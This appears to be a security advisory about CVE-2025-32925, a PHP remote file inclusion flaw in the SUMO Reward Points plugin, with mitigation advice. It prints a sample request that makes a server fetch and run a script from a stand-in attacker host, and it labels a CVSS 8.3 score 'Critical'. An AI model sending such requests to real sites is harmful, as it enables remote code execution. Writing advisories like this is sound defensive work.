Overview
The CVE-2025-32925 vulnerability is a serious flaw in the FantasticPlugins SUMO Reward Points, a prevalent PHP program, that exposes systems to potential compromise and data leaks. This vulnerability arises from an improper control of the filename for Include/Require statements in PHP programs, leading to what is known as a PHP Remote File Inclusion vulnerability. Any organization or user utilizing SUMO Reward Points versions up to 30.7.0 is potentially at risk. Given the widespread use of SUMO Reward Points, it is crucial to understand the implications of this vulnerability and implement the necessary mitigation strategies.
Vulnerability Summary
CVE ID: CVE-2025-32925
Severity: Critical, with a CVSS score of 8.3
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage
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Product | Affected Versions
FantasticPlugins SUMO Reward Points | Up to version 30.7.0
How the Exploit Works
The vulnerability CVE-2025-32925 occurs due to an improper control of the filename for Include/Require statements in the PHP program of SUMO Reward Points. As such, an attacker can manipulate these statements to include a file from a remote server that contains malicious code. When the PHP program is run, the malicious code gets executed, potentially leading to a system compromise or data leakage.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited using a malicious URL:
GET /index.php?file=http://malicious.example.com/malicious_script.txt HTTP/1.1
Host: vulnerable.website.comIn this example, the attacker tricks the server into including a file (`malicious_script.txt`) from a remote server (`malicious.example.com`). When the server processes the request, the malicious script is included and executed.
Mitigation
The recommended mitigation for this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation. It is also recommended to follow best practices for secure coding to prevent such vulnerabilities in the future, such as validating all inputs and limiting the use of dynamic file includes.